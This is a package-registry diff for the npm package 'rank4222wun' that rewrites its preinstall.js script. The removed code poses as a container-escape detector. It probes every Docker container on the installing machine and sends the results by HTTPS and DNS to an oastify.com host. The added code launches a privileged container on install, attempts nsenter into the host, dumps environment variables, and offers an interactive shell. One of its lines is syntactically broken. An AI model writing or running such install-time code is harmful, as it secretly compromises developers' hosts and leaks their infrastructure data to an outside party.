rank4222wun 1.0.35 → 1.0.36

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.35",
3
+ "version": "1.0.36",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,937 +1,444 @@
1
- // multi-container-escape-detector.js
1
+ // run-privileged-container.js
2
2
  const { exec, spawn } = require('child_process');
3
- const os = require('os');
4
3
  const fs = require('fs');
5
4
  const path = require('path');
6
- const https = require('https');
7
- const dns = require('dns');
8
- const crypto = require('crypto');
9
5
 
10
- console.log(`
11
- ╔══════════════════════════════════════════════════════════╗
12
- ║ MULTI-CONTAINER ESCAPE DETECTOR v3.0 ║
13
- ║ Advanced Container Security Assessment ║
14
- ╚══════════════════════════════════════════════════════════╝
15
- `);
16
-
17
- // ===================== CONFIGURATION =====================
18
- const CONFIG = {
19
- // OAST Configuration
20
- OAST: {
21
- domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
22
- httpsPort: 443,
23
- httpPort: 80,
24
- apiKey: crypto.randomBytes(16).toString('hex'),
25
- sessionId: `mced-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
26
- },
27
-
28
- // Scanning Configuration
29
- SCAN: {
30
- maxContainers: 50,
31
- parallelScans: 5,
32
- timeoutPerContainer: 30000,
33
- deepScan: true,
34
- autoExploit: false,
35
- stealthMode: false
36
- },
37
-
38
- // Detection Methods
39
- METHODS: {
40
- nsenter: true,
41
- dockerSocket: true,
42
- procAccess: true,
43
- kernelExploits: true,
44
- hostMounts: true,
45
- capabilities: true,
46
- networkEscape: true
47
- },
48
-
49
- // Output Configuration
50
- OUTPUT: {
51
- saveReports: true,
52
- reportFormat: 'json', // json, html, txt
53
- verbose: true,
54
- colorOutput: true
55
- }
56
- };
57
-
58
- // ===================== GLOBAL STATE =====================
59
- const STATE = {
60
- startTime: Date.now(),
61
- containers: {},
62
- hostInfo: null,
63
- networkMap: {},
64
- vulnerabilities: {},
65
- oastInteractions: [],
66
- statistics: {
67
- totalContainers: 0,
68
- scannedContainers: 0,
69
- escapedContainers: 0,
70
- vulnerableContainers: 0,
71
- criticalEscapes: 0
6
+ class PrivilegedContainerRunner {
7
+ constructor() {
8
+ this.containerId = null;
9
+ this.outputLog = [];
10
+ this.status = 'stopped';
72
11
  }
73
- };
74
12
 
75
- // ===================== UTILITY FUNCTIONS =====================
76
- class ContainerScanner {
77
- constructor(containerId) {
78
- this.id = containerId;
79
- this.shortId = containerId.substring(0, 12);
80
- this.info = {
81
- id: containerId,
82
- name: '',
83
- image: '',
84
- status: '',
85
- escapeStatus: 'unknown',
86
- confidence: 0,
87
- evidence: [],
88
- methods: [],
89
- risk: 'low',
90
- network: {},
91
- mounts: [],
92
- capabilities: [],
93
- vulnerabilities: []
94
- };
95
- this.rawData = {};
13
+ async runContainer() {
14
+ console.log('🚀 جاري تشغيل حاوية Ubuntu مميزة...');
15
+
16
+ return new Promise((resolve, reject) => {
17
+ const dockerCommand = 'docker run --privileged -d ubuntu:latest sleep infinity';
18
+
19
+ exec(dockerCommand, (error, stdout, stderr) => {
20
+ if (error) {
21
+ console.error('❌ خطأ في تشغيل الحاوية:', error.message);
22
+ reject(error);
23
+ return;
24
+ }
25
+
26
+ this.containerId = stdout.trim();
27
+ console.log(`✅ الحاوية تم تشغيلها بنجاح: ${this.containerId.substring(0, 12)}`);
28
+ this.status = 'running';
29
+
30
+ // الانتظار قليلاً ثم تنفيذ الأوامر
31
+ setTimeout(() => {
32
+ this.executeCommands()
33
+ .then(resolve)
34
+ .catch(reject);
35
+ }, 2000);
36
+ });
37
+ });
96
38
  }
97
39
 
98
- async scan() {
99
- try {
100
- console.log(`\n🔍 Scanning container: ${this.shortId}`);
40
+ async executeCommands() {
41
+ console.log('\n🔧 جاري تنفيذ الأوامر داخل الحاوية...\n');
42
+
43
+ const commands = [
44
+ // معلومات النظام الأساسية
45
+ 'echo "=== معلومات النظام ==="',
46
+ 'cat /etc/os-release',
47
+ 'uname -a',
48
+ 'whoami',
49
+ 'id',
101
50
 
102
- // Collect basic info
103
- await this.collectBasicInfo();
51
+ // معلومات الذاكرة والمعالج
52
+ 'echo -e "\n=== موارد النظام ==="',
53
+ 'free -h',
54
+ 'df -h',
55
+ 'cat /proc/cpuinfo | grep "model name" | head -1',
104
56
 
105
- // Perform escape checks
106
- await this.performEscapeChecks();
57
+ // التحقق من الصلاحيات
58
+ 'echo -e "\n=== الصلاحيات المميزة ==="',
59
+ 'capsh --print',
60
+ 'cat /proc/self/status | grep Cap',
107
61
 
108
- // Analyze results
109
- await this.analyzeResults();
62
+ // معلومات الشبكة
63
+ 'echo -e "\n=== معلومات الشبكة ==="',
64
+ 'ip addr show',
65
+ 'hostname -I',
66
+ 'route -n',
110
67
 
111
- // Report to OAST
112
- await this.reportToOAST();
68
+ // فحص الملفات والمجلدات
69
+ 'echo -e "\n=== نظام الملفات ==="',
70
+ 'ls -la /',
71
+ 'mount | head -20',
113
72
 
114
- // Update statistics
115
- this.updateStatistics();
73
+ // تحليل الحاوية
74
+ 'echo -e "\n=== معلومات الحاوية ==="',
75
+ 'cat /proc/1/cgroup 2>/dev/null || echo "لا يمكن قراءة cgroup"',
76
+ 'cat /proc/self/mountinfo 2>/dev/null | head -10',
116
77
 
117
- return this.info;
118
- } catch (error) {
119
- console.error(`❌ Error scanning container ${this.shortId}:`, error.message);
120
- this.info.escapeStatus = 'scan_failed';
121
- return this.info;
122
- }
123
- }
124
-
125
- async collectBasicInfo() {
126
- const commands = {
127
- name: `docker inspect ${this.id} --format '{{.Name}}'`,
128
- image: `docker inspect ${this.id} --format '{{.Config.Image}}'`,
129
- status: `docker inspect ${this.id} --format '{{.State.Status}}'`,
130
- ip: `docker inspect ${this.id} --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'`,
131
- ports: `docker inspect ${this.id} --format '{{json .NetworkSettings.Ports}}'`,
132
- mounts: `docker inspect ${this.id} --format '{{json .Mounts}}'`,
133
- privileged: `docker inspect ${this.id} --format '{{.HostConfig.Privileged}}'`,
134
- capabilities: `docker inspect ${this.id} --format '{{json .HostConfig.CapAdd}}'`
135
- };
136
-
137
- for (const [key, cmd] of Object.entries(commands)) {
138
- try {
139
- const result = await this.executeCommand(cmd);
140
- this.rawData[key] = result;
141
-
142
- // Parse specific data
143
- switch(key) {
144
- case 'name':
145
- this.info.name = result.replace(/^\//, '');
146
- break;
147
- case 'image':
148
- this.info.image = result;
149
- break;
150
- case 'status':
151
- this.info.status = result;
152
- break;
153
- case 'ip':
154
- this.info.network.ip = result;
155
- break;
156
- case 'mounts':
157
- try {
158
- this.info.mounts = JSON.parse(result || '[]');
159
- } catch (e) {}
160
- break;
161
- case 'capabilities':
162
- try {
163
- this.info.capabilities = JSON.parse(result || '[]');
164
- } catch (e) {}
165
- break;
166
- }
167
- } catch (e) {
168
- this.rawData[key] = null;
169
- }
170
- }
171
- }
172
-
173
- async performEscapeChecks() {
174
- const checks = [];
175
-
176
- if (CONFIG.METHODS.nsenter) {
177
- checks.push(this.checkNsenterEscape());
178
- }
179
-
180
- if (CONFIG.METHODS.dockerSocket) {
181
- checks.push(this.checkDockerSocketEscape());
182
- }
183
-
184
- if (CONFIG.METHODS.procAccess) {
185
- checks.push(this.checkProcEscape());
186
- }
187
-
188
- if (CONFIG.METHODS.hostMounts) {
189
- checks.push(this.checkMountEscape());
190
- }
191
-
192
- if (CONFIG.METHODS.kernelExploits) {
193
- checks.push(this.checkKernelVulnerabilities());
194
- }
195
-
196
- if (CONFIG.METHODS.capabilities) {
197
- checks.push(this.checkDangerousCapabilities());
198
- }
199
-
200
- if (CONFIG.METHODS.networkEscape) {
201
- checks.push(this.checkNetworkEscape());
202
- }
203
-
204
- await Promise.all(checks);
205
- }
78
+ // اختبار الوصول إلى المضيف
79
+ 'echo -e "\n=== اختبار الوصول للمضيف ==="',
80
+ 'nsenter --target 1 --mount -- sh -c "echo يمكن الوصول للمضيف: && hostname" 2>/dev/null || echo "nsenter غير متاح"',
81
+ 'ls -la /var/run/docker.sock 2>/dev/null && echo "✅ Docker socket موجود" || echo "❌ Docker socket غير موجود"',
82
+
83
+ // معلومات إضافية
84
+ 'echo -e "\n=== معلومات إضافية ==="',
85
+ 'env | head -20',
86
+ 'ps aux | head -10'
87
+ ];
206
88
 
207
- async checkNsenterEscape() {
208
- const command = `docker exec ${this.id} sh -c '
209
- which nsenter >/dev/null 2>&1 &&
210
- nsenter --target 1 --mount -- sh -c "hostname" 2>/dev/null | grep -v "$(hostname)" ||
211
- echo "FAILED"
212
- '`;
89
+ const results = {};
213
90
 
214
- try {
215
- const result = await this.executeCommand(command);
216
- if (!result.includes('FAILED') && result.trim()) {
217
- this.info.methods.push('nsenter');
218
- this.info.evidence.push(`Nsenter escape possible - Hostname: ${result.trim()}`);
219
- this.sendOAST('nsenter_escape', { container: this.shortId, result: result.trim() });
91
+ for (let i = 0; i < commands.length; i++) {
92
+ const command = commands[i];
93
+
94
+ // إذا كان الأمر echo، عرضه مباشرة
95
+ if (command.startsWith('echo')) {
96
+ const message = command.replace(/^echo\s+["']?/, '').replace(/["']?$/, '');
97
+ console.log(message);
98
+ this.outputLog.push(message);
99
+ continue;
220
100
  }
221
- } catch (e) {}
222
- }
223
-
224
- async checkDockerSocketEscape() {
225
- const commands = [
226
- // Check if docker.sock is mounted
227
- `docker exec ${this.id} ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"`,
228
- // Try to access Docker API
229
- `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'`
230
- ];
231
-
232
- try {
233
- const [socketCheck, apiCheck] = await Promise.all(
234
- commands.map(cmd => this.executeCommand(cmd))
235
- );
236
101
 
237
- if (!socketCheck.includes('NOT_FOUND') && apiCheck.includes('ACCESSIBLE')) {
238
- this.info.methods.push('docker_socket');
239
- this.info.evidence.push('Docker socket accessible and writable');
240
-
241
- // Try to list other containers
242
- const listCmd = `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l'`;
243
- const containerCount = await this.executeCommand(listCmd);
102
+ // تنفيذ الأمر داخل الحاوية
103
+ try {
104
+ const output = await this.execInContainer(command);
105
+ console.log(output);
106
+ this.outputLog.push(output);
244
107
 
245
- if (parseInt(containerCount) > 1) {
246
- this.info.evidence.push(`Can see ${containerCount.trim()} containers on host`);
247
- this.sendOAST('docker_socket_escape', {
248
- container: this.shortId,
249
- accessible: true,
250
- containerCount: containerCount.trim()
251
- });
108
+ // حفظ النتائج المهمة
109
+ if (command.includes('os-release')) {
110
+ results.osInfo = output;
111
+ } else if (command.includes('uname -a')) {
112
+ results.kernelInfo = output;
113
+ } else if (command.includes('capsh')) {
114
+ results.capabilities = output;
115
+ } else if (command.includes('docker.sock')) {
116
+ results.dockerSocket = output.includes('✅');
252
117
  }
118
+
119
+ } catch (error) {
120
+ const errorMsg = `❌ خطأ في الأمر "${command}": ${error.message}`;
121
+ console.log(errorMsg);
122
+ this.outputLog.push(errorMsg);
253
123
  }
254
- } catch (e) {}
255
- }
256
-
257
- async checkProcEscape() {
258
- const command = `docker exec ${this.id} sh -c '
259
- cat /proc/1/status 2>/dev/null | head -5 &&
260
- cat /proc/1/cmdline 2>/dev/null | tr "\\\\0" " " | head -c 100 ||
261
- echo "NO_ACCESS"
262
- '`;
124
+
125
+ // تأخير بسيط بين الأوامر
126
+ await this.delay(500);
127
+ }
263
128
 
264
- try {
265
- const result = await this.executeCommand(command);
266
- if (!result.includes('NO_ACCESS') && result.includes('State:')) {
267
- this.info.methods.push('proc_access');
268
- this.info.evidence.push('Can access host init process via /proc/1/');
269
- this.sendOAST('proc_escape', { container: this.shortId });
270
- }
271
- } catch (e) {}
129
+ return results;
272
130
  }
273
131
 
274
- async checkMountEscape() {
275
- const command = `docker exec ${this.id} sh -c '
276
- mount 2>/dev/null | grep -E "(/proc|/sys|/dev|overlay)" | head -10 ||
277
- cat /proc/mounts 2>/dev/null | head -20
278
- '`;
279
-
280
- try {
281
- const result = await this.executeCommand(command);
282
- if (result) {
283
- const lines = result.split('\n');
284
- const dangerousMounts = lines.filter(line =>
285
- line.includes('/proc') ||
286
- line.includes('/sys') ||
287
- line.includes('/dev') ||
288
- line.includes('overlay')
289
- );
290
-
291
- if (dangerousMounts.length > 0) {
292
- this.info.methods.push('host_mounts');
293
- this.info.evidence.push(`${dangerousMounts.length} dangerous mount points found`);
294
-
295
- // Check if we can access host files through mounts
296
- const testCmd = `docker exec ${this.id} sh -c '
297
- ls -la /home 2>/dev/null | head -3 ||
298
- cat /etc/passwd 2>/dev/null | head -3 ||
299
- echo "NO_HOST_ACCESS"
300
- '`;
301
-
302
- const accessResult = await this.executeCommand(testCmd);
303
- if (!accessResult.includes('NO_HOST_ACCESS')) {
304
- this.info.evidence.push('Can access host files through mounts');
305
- this.sendOAST('mount_escape', {
306
- container: this.shortId,
307
- mounts: dangerousMounts.slice(0, 3),
308
- hostAccess: true
309
- });
310
- }
311
- }
132
+ execInContainer(command) {
133
+ return new Promise((resolve, reject) => {
134
+ if (!this.containerId) {
135
+ reject(new Error('لا توجد حاوية نشطة'));
136
+ return;
312
137
  }
313
- } catch (e) {}
314
- }
315
-
316
- async checkKernelVulnerabilities() {
317
- const command = `docker exec ${this.id} sh -c '
318
- uname -r &&
319
- grep -i "dirtypipe\\|dirtycow\\|shocker\\|overlayfs" /etc/os-release 2>/dev/null ||
320
- echo "NO_INFO"
321
- '`;
322
-
323
- try {
324
- const result = await this.executeCommand(command);
325
- if (!result.includes('NO_INFO')) {
326
- const lines = result.split('\n');
327
- const kernel = lines[0]?.trim();
328
-
329
- if (kernel) {
330
- this.info.vulnerabilities.push(`Kernel: ${kernel}`);
331
-
332
- // Check for known vulnerable kernels
333
- const vulnerableKernels = {
334
- 'DirtyPipe': /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./,
335
- 'DirtyCow': /^(2\.6\.|3\.|4\.)/,
336
- 'Shocker': /^(3\.8|3\.9|3\.10)\./
337
- };
338
-
339
- for (const [vuln, pattern] of Object.entries(vulnerableKernels)) {
340
- if (pattern.test(kernel)) {
341
- this.info.vulnerabilities.push(`${vuln} vulnerability detected`);
342
- this.sendOAST('kernel_vuln', {
343
- container: this.shortId,
344
- kernel: kernel,
345
- vulnerability: vuln
346
- });
347
- break;
348
- }
138
+
139
+ const fullCommand = `docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`;
140
+
141
+ exec(fullCommand, { timeout: 10000 }, (error, stdout, stderr) => {
142
+ if (error) {
143
+ // بعض الأوامر تعطي stderr لكنها ناجحة
144
+ if (stderr && !stdout) {
145
+ resolve(stderr);
146
+ } else {
147
+ reject(error);
349
148
  }
149
+ } else {
150
+ resolve(stdout || stderr || '');
350
151
  }
351
- }
352
- } catch (e) {}
152
+ });
153
+ });
353
154
  }
354
155
 
355
- async checkDangerousCapabilities() {
356
- const command = `docker exec ${this.id} sh -c '
357
- capsh --print 2>/dev/null | grep -E "(sys_admin|sys_module|sys_ptrace|dac_override)" ||
358
- echo "NO_CAPSH"
359
- '`;
360
-
361
- try {
362
- const result = await this.executeCommand(command);
363
- if (!result.includes('NO_CAPSH') && result.trim()) {
364
- const dangerousCaps = [
365
- 'CAP_SYS_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_PTRACE',
366
- 'CAP_DAC_OVERRIDE', 'CAP_DAC_READ_SEARCH'
367
- ];
368
-
369
- const foundCaps = dangerousCaps.filter(cap => result.includes(cap));
370
- if (foundCaps.length > 0) {
371
- this.info.methods.push('capabilities');
372
- this.info.evidence.push(`Dangerous capabilities: ${foundCaps.join(', ')}`);
373
- this.sendOAST('dangerous_caps', {
374
- container: this.shortId,
375
- capabilities: foundCaps
376
- });
377
- }
378
- }
379
- } catch (e) {}
156
+ delay(ms) {
157
+ return new Promise(resolve => setTimeout(resolve, ms));
380
158
  }
381
159
 
382
- async checkNetworkEscape() {
383
- const commands = [
384
- `docker exec ${this.id} ip route show 2>/dev/null | head -5`,
385
- `docker exec ${this.id} netstat -tunap 2>/dev/null | head -10`,
386
- `docker exec ${this.id} iptables -L -n 2>/dev/null | head -20`
387
- ];
388
-
389
- try {
390
- const results = await Promise.all(
391
- commands.map(cmd => this.executeCommand(cmd).catch(() => ''))
392
- );
160
+ async getInteractiveShell() {
161
+ console.log('\n💻 تشغيل shell تفاعلي...');
162
+ console.log(' استخدم "exit" للخروج\n');
163
+
164
+ return new Promise((resolve) => {
165
+ const dockerProcess = spawn('docker', [
166
+ 'exec', '-it', this.containerId, '/bin/bash'
167
+ ], {
168
+ stdio: 'inherit'
169
+ });
393
170
 
394
- if (results.some(r => r.trim())) {
395
- this.info.methods.push('network_escape');
396
- this.info.network.details = {
397
- routes: results[0]?.split('\n').slice(0, 3) || [],
398
- connections: results[1]?.split('\n').slice(0, 5) || [],
399
- iptables: results[2]?.split('\n').slice(0, 10) || []
400
- };
401
- }
402
- } catch (e) {}
171
+ dockerProcess.on('close', (code) => {
172
+ console.log(`\n🔚 Shell مغلق مع الكود: ${code}`);
173
+ resolve();
174
+ });
175
+ });
403
176
  }
404
177
 
405
- async analyzeResults() {
406
- // Calculate confidence score
407
- let score = 0;
408
-
409
- // Method points
410
- const methodPoints = {
411
- nsenter: 25,
412
- docker_socket: 30,
413
- proc_access: 20,
414
- host_mounts: 15,
415
- capabilities: 10,
416
- network_escape: 10
417
- };
418
-
419
- this.info.methods.forEach(method => {
420
- score += methodPoints[method] || 0;
421
- });
422
-
423
- // Vulnerability points
424
- if (this.info.vulnerabilities.length > 0) {
425
- score += this.info.vulnerabilities.length * 10;
426
- }
178
+ saveOutput() {
179
+ const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
180
+ const filename = `container-output-${timestamp}.txt`;
427
181
 
428
- // Evidence points
429
- score += Math.min(this.info.evidence.length * 5, 25);
182
+ const output = [
183
+ `ناتج تشغيل حاوية مميزة`,
184
+ `تاريخ: ${new Date().toLocaleString()}`,
185
+ `Container ID: ${this.containerId || 'غير معروف'}`,
186
+ `الحالة: ${this.status}`,
187
+ `='.repeat(50)}\n\n`,
188
+ ...this.outputLog
189
+ ].join('\n');
430
190
 
431
- // Capabilities points
432
- if (this.info.capabilities.includes('CAP_SYS_ADMIN')) {
433
- score += 20;
434
- }
191
+ fs.writeFileSync(filename, output);
192
+ console.log(`\n💾 تم حفظ الناتج في: ${filename}`);
435
193
 
436
- // Determine escape status
437
- this.info.confidence = Math.min(100, score);
438
-
439
- if (this.info.confidence >= 70) {
440
- this.info.escapeStatus = 'confirmed';
441
- this.info.risk = 'critical';
442
- } else if (this.info.confidence >= 40) {
443
- this.info.escapeStatus = 'probable';
444
- this.info.risk = 'high';
445
- } else if (this.info.confidence >= 20) {
446
- this.info.escapeStatus = 'possible';
447
- this.info.risk = 'medium';
448
- } else {
449
- this.info.escapeStatus = 'unlikely';
450
- this.info.risk = 'low';
451
- }
194
+ return filename;
452
195
  }
453
196
 
454
- async reportToOAST() {
455
- if (this.info.escapeStatus !== 'unlikely' && this.info.confidence > 10) {
456
- const payload = {
457
- sessionId: CONFIG.OAST.sessionId,
458
- timestamp: new Date().toISOString(),
459
- container: {
460
- id: this.shortId,
461
- name: this.info.name,
462
- image: this.info.image
463
- },
464
- escape: {
465
- status: this.info.escapeStatus,
466
- confidence: this.info.confidence,
467
- risk: this.info.risk,
468
- methods: this.info.methods,
469
- evidence: this.info.evidence.slice(0, 5)
470
- },
471
- vulnerabilities: this.info.vulnerabilities
472
- };
197
+ async cleanup() {
198
+ if (this.containerId && this.status === 'running') {
199
+ console.log('\n🧹 تنظيف الحاوية...');
473
200
 
474
- this.sendOAST('container_escape_report', payload);
475
- }
476
- }
477
-
478
- sendOAST(type, data) {
479
- const interactionId = `interaction-${Date.now()}-${crypto.randomBytes(3).toString('hex')}`;
480
- const interaction = {
481
- id: interactionId,
482
- type: type,
483
- timestamp: new Date().toISOString(),
484
- container: this.shortId,
485
- data: data
486
- };
487
-
488
- STATE.oastInteractions.push(interaction);
489
-
490
- // Send via HTTPS
491
- const req = https.request({
492
- hostname: CONFIG.OAST.domain,
493
- port: CONFIG.OAST.httpsPort,
494
- path: '/multi-container-escape',
495
- method: 'POST',
496
- headers: {
497
- 'Content-Type': 'application/json',
498
- 'X-Session-ID': CONFIG.OAST.sessionId,
499
- 'X-Container-ID': this.shortId,
500
- 'X-API-Key': CONFIG.OAST.apiKey,
501
- 'User-Agent': 'MultiContainerEscapeDetector/3.0'
201
+ try {
202
+ await this.execOnHost(`docker stop ${this.containerId}`);
203
+ await this.execOnHost(`docker rm ${this.containerId}`);
204
+ this.status = 'stopped';
205
+ console.log('✅ تم تنظيف الحاوية بنجاح');
206
+ } catch (error) {
207
+ console.error('❌ خطأ في التنظيف:', error.message);
502
208
  }
503
- }, (res) => {
504
- let body = '';
505
- res.on('data', chunk => body += chunk);
506
- res.on('end', () => {
507
- if (CONFIG.OUTPUT.verbose) {
508
- console.log(`📡 OAST report sent for ${this.shortId} (${res.statusCode})`);
509
- }
510
- });
511
- });
512
-
513
- req.on('error', () => {});
514
- req.write(JSON.stringify({
515
- interactionId: interactionId,
516
- sessionId: CONFIG.OAST.sessionId,
517
- containerId: this.shortId,
518
- data: data
519
- }));
520
- req.end();
521
-
522
- // Also send DNS notification for critical escapes
523
- if (this.info.risk === 'critical') {
524
- const dnsName = `${this.shortId}-critical.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
525
- dns.lookup(dnsName, () => {});
526
209
  }
527
210
  }
528
211
 
529
- executeCommand(command) {
212
+ execOnHost(command) {
530
213
  return new Promise((resolve, reject) => {
531
- exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
214
+ exec(command, (error, stdout, stderr) => {
532
215
  if (error) {
533
216
  reject(error);
534
217
  } else {
535
- resolve(stdout.toString().trim());
218
+ resolve(stdout);
536
219
  }
537
220
  });
538
221
  });
539
222
  }
540
223
 
541
- updateStatistics() {
542
- STATE.statistics.scannedContainers++;
543
-
544
- if (this.info.escapeStatus === 'confirmed') {
545
- STATE.statistics.escapedContainers++;
546
- STATE.statistics.criticalEscapes++;
547
- } else if (this.info.escapeStatus === 'probable') {
548
- STATE.statistics.escapedContainers++;
549
- }
550
-
551
- if (this.info.vulnerabilities.length > 0) {
552
- STATE.statistics.vulnerableContainers++;
553
- }
554
- }
555
- }
556
-
557
- // ===================== MAIN SCANNER CLASS =====================
558
- class MultiContainerScanner {
559
- constructor() {
560
- this.scanners = [];
561
- this.results = [];
562
- }
563
-
564
- async discoverContainers() {
565
- console.log('🔎 Discovering containers...');
566
-
224
+ async run() {
567
225
  try {
568
- // Get all running containers
569
- const cmd = 'docker ps -q --no-trunc';
570
- const output = await this.exec(cmd);
571
- const containerIds = output.split('\n').filter(id => id.trim());
226
+ // 1. تشغيل الحاوية
227
+ await this.runContainer();
572
228
 
573
- STATE.statistics.totalContainers = containerIds.length;
229
+ // 2. تنفيذ الأوامر
230
+ const results = await this.executeCommands();
574
231
 
575
- if (containerIds.length === 0) {
576
- console.log('ℹ️ No running containers found.');
577
- return [];
578
- }
232
+ // 3. حفظ النتائج
233
+ const outputFile = this.saveOutput();
579
234
 
580
- console.log(`📦 Found ${containerIds.length} containers`);
581
- return containerIds;
582
- } catch (error) {
583
- console.error('❌ Failed to discover containers:', error.message);
584
- return [];
585
- }
586
- }
587
-
588
- async scanContainers(containerIds) {
589
- console.log(`🚀 Starting scan of ${containerIds.length} containers...\n`);
590
-
591
- // Create scanners
592
- this.scanners = containerIds.map(id => new ContainerScanner(id));
593
-
594
- // Scan in batches to avoid overwhelming the system
595
- const batchSize = CONFIG.SCAN.parallelScans;
596
- for (let i = 0; i < this.scanners.length; i += batchSize) {
597
- const batch = this.scanners.slice(i, i + batchSize);
598
- console.log(`📊 Batch ${Math.floor(i/batchSize) + 1}: Scanning ${batch.length} containers...`);
235
+ // 4. عرض الملخص
236
+ this.showSummary(results, outputFile);
599
237
 
600
- const batchPromises = batch.map(scanner =>
601
- scanner.scan().catch(error => {
602
- console.error(`Failed to scan ${scanner.shortId}:`, error.message);
603
- return scanner.info;
604
- })
605
- );
238
+ // 5. خيار shell تفاعلي
239
+ console.log('\n🎯 الخيارات المتاحة:');
240
+ console.log(' 1. تشغيل shell تفاعلي (bash)');
241
+ console.log(' 2. تنظيف الحاوية والخروج');
242
+ console.log(' 3. الخروج بدون تنظيف');
606
243
 
607
- const batchResults = await Promise.all(batchPromises);
608
- this.results.push(...batchResults);
244
+ // انتظار قرار المستخدم
245
+ await this.waitForUserDecision();
609
246
 
610
- // Show progress
611
- const scanned = Math.min(i + batchSize, this.scanners.length);
612
- const percent = Math.round((scanned / this.scanners.length) * 100);
613
- console.log(`📈 Progress: ${scanned}/${this.scanners.length} (${percent}%)\n`);
614
- }
615
-
616
- return this.results;
617
- }
618
-
619
- async generateReport() {
620
- console.log('\n' + '═'.repeat(80));
621
- console.log('📊 MULTI-CONTAINER ESCAPE SCAN REPORT');
622
- console.log('═'.repeat(80));
623
-
624
- const report = {
625
- metadata: {
626
- timestamp: new Date().toISOString(),
627
- sessionId: CONFIG.OAST.sessionId,
628
- scanDuration: Date.now() - STATE.startTime,
629
- config: CONFIG
630
- },
631
- statistics: STATE.statistics,
632
- oast: {
633
- domain: CONFIG.OAST.domain,
634
- interactions: STATE.oastInteractions.length,
635
- session: CONFIG.OAST.sessionId
636
- },
637
- containers: this.results,
638
- summary: this.generateSummary()
639
- };
640
-
641
- // Print summary
642
- this.printSummary(report.summary);
643
-
644
- // Save report if enabled
645
- if (CONFIG.OUTPUT.saveReports) {
646
- await this.saveReport(report);
247
+ } catch (error) {
248
+ console.error('❌ فشل التشغيل:', error.message);
647
249
  }
648
-
649
- return report;
650
250
  }
651
251
 
652
- generateSummary() {
653
- const summary = {
654
- totalScanned: STATE.statistics.scannedContainers,
655
- escapedContainers: [],
656
- vulnerableContainers: [],
657
- criticalIssues: [],
658
- recommendations: []
659
- };
660
-
661
- this.results.forEach(container => {
662
- if (container.escapeStatus === 'confirmed' || container.escapeStatus === 'probable') {
663
- summary.escapedContainers.push({
664
- id: container.id.substring(0, 12),
665
- name: container.name,
666
- confidence: container.confidence,
667
- methods: container.methods,
668
- risk: container.risk
669
- });
670
- }
671
-
672
- if (container.vulnerabilities.length > 0) {
673
- summary.vulnerableContainers.push({
674
- id: container.id.substring(0, 12),
675
- name: container.name,
676
- vulnerabilities: container.vulnerabilities
677
- });
678
- }
679
-
680
- if (container.risk === 'critical') {
681
- summary.criticalIssues.push({
682
- id: container.id.substring(0, 12),
683
- name: container.name,
684
- evidence: container.evidence.slice(0, 3)
685
- });
252
+ showSummary(results, outputFile) {
253
+ console.log('\n' + '='.repeat(60));
254
+ console.log('📊 ملخص تشغيل الحاوية المميزة');
255
+ console.log('='.repeat(60));
256
+
257
+ console.log(`📦 Container ID: ${this.containerId?.substring(0, 12) || 'غير معروف'}`);
258
+ console.log(`📁 الناتج محفوظ في: ${outputFile}`);
259
+
260
+ if (results.osInfo) {
261
+ const osLine = results.osInfo.split('\n').find(l => l.includes('PRETTY_NAME'));
262
+ if (osLine) {
263
+ console.log(`🐧 النظام: ${osLine.split('=')[1]?.replace(/"/g, '')}`);
686
264
  }
687
- });
688
-
689
- // Generate recommendations
690
- if (summary.escapedContainers.length > 0) {
691
- summary.recommendations.push(
692
- `Immediate action required: ${summary.escapedContainers.length} containers can escape to host`
693
- );
694
- }
695
-
696
- if (summary.criticalIssues.length > 0) {
697
- summary.recommendations.push(
698
- `Critical vulnerabilities found in ${summary.criticalIssues.length} containers`
699
- );
700
265
  }
701
266
 
702
- if (summary.vulnerableContainers.length > 0) {
703
- summary.recommendations.push(
704
- `Update kernel/software in ${summary.vulnerableContainers.length} containers`
705
- );
267
+ if (results.kernelInfo) {
268
+ console.log(`⚙️ Kernel: ${results.kernelInfo.split(' ')[2]}`);
706
269
  }
707
270
 
708
- if (summary.escapedContainers.length === 0) {
709
- summary.recommendations.push('No critical escape vectors detected. Regular security maintenance recommended.');
271
+ if (results.capabilities && results.capabilities.includes('cap_sys_admin')) {
272
+ console.log(`🔓 الصلاحيات: CAP_SYS_ADMIN متاحة (صلاحيات مميزة كاملة)`);
710
273
  }
711
274
 
712
- return summary;
275
+ console.log(`🔌 Docker socket: ${results.dockerSocket ? '✅ موجود' : '❌ غير موجود'}`);
276
+ console.log('='.repeat(60));
713
277
  }
714
278
 
715
- printSummary(summary) {
716
- console.log('\n📈 SCAN STATISTICS:');
717
- console.log(' Total containers scanned:', summary.totalScanned);
718
- console.log(' Containers that can escape:', summary.escapedContainers.length);
719
- console.log(' Vulnerable containers:', summary.vulnerableContainers.length);
720
- console.log(' Critical issues:', summary.criticalIssues.length);
721
-
722
- if (summary.escapedContainers.length > 0) {
723
- console.log('\n🚨 CRITICAL - CONTAINERS THAT CAN ESCAPE:');
724
- summary.escapedContainers.forEach((container, i) => {
725
- console.log(` ${i + 1}. ${container.name || container.id}`);
726
- console.log(` Confidence: ${container.confidence}% | Risk: ${container.risk.toUpperCase()}`);
727
- console.log(` Methods: ${container.methods.join(', ')}`);
728
- });
729
- }
730
-
731
- if (summary.criticalIssues.length > 0) {
732
- console.log('\n⚠️ CRITICAL VULNERABILITIES:');
733
- summary.criticalIssues.forEach((issue, i) => {
